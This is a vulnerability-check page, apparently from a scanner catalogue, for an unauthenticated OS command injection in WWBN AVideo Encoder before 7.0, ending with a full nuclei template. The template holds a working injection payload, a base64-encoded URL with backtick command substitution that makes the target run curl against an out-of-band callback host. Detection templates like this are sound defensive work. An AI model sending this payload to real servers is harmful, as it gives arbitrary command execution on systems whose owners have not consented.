WWBN AVideo Encoder < 7.0 - Unauthenticated OS Command Injection

criticalseverity

9.8CVSS score

8.9%likelihood of exploitation, next 30 days

95%of all CVEs are less likely

Readycheck to confirm it

AVideo < 7.0 contains a command injection caused by shell command substitution in the base64Url GET parameter, letting unauthenticated attackers execute arbitrary OS commands, exploit requires no authentication.

Impact

Unauthenticated attackers can execute arbitrary OS commands, leading to full server compromise, data exfiltration, and service disruption.

Fix

Upgrade to version 7.0 or later.

How to confirm it

Send: GET /Encoder/objects/getImage.php?base64Url={{base64(oast)}}&format=png
Positive when: contains in interactsh_protocol "dns" AND status 200

Run it with nuclei: nuclei -id CVE-2026-29058 -u <target>

The full check

id: CVE-2026-29058

info:
  name: WWBN AVideo Encoder < 7.0 - Unauthenticated OS Command Injection
  author: ashish-cybersec
  severity: critical
  description: |
    AVideo < 7.0 contains a command injection caused by shell command substitution in the base64Url GET parameter, letting unauthenticated attackers execute arbitrary OS commands, exploit requires no authentication.
  impact: |
    Unauthenticated attackers can execute arbitrary OS commands, leading to full server compromise, data exfiltration, and service disruption.
  remediation: |
    Upgrade to version 7.0 or later.
  reference:
    - https://github.com/WWBN/AVideo-Encoder/security/advisories/GHSA-9j26-99jh-v26q
    - https://nvd.nist.gov/vuln/detail/CVE-2026-29058
    - https://github.com/WWBN/AVideo-Encoder
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2026-29058
    epss-score: 0.0894
    epss-percentile: 0.95285
    cwe-id: CWE-78
  metadata:
    verified: true
    max-request: 1
    vendor: wwbn
    product: avideo
    shodan-query: http.html:"AVideo"
  tags: cve,cve2026,avideo,encoder,rce,oast,unauth,intrusive,vkev

variables:
  oast: "http://{{rand_text_alpha(6)}}.example/`curl${IFS}{{interactsh-url}}`"

http:
  - raw:
      - |
        GET /Encoder/objects/getImage.php?base64Url={{base64(oast)}}&format=png HTTP/1.1
        Host: {{Hostname}}

    matchers-condition: and
    matchers:
      - type: word
        part: interactsh_protocol
        words:
          - "dns"

      - type: status
        status:
          - 200

References

Use this check only on systems you are authorised to test. Where the data comes from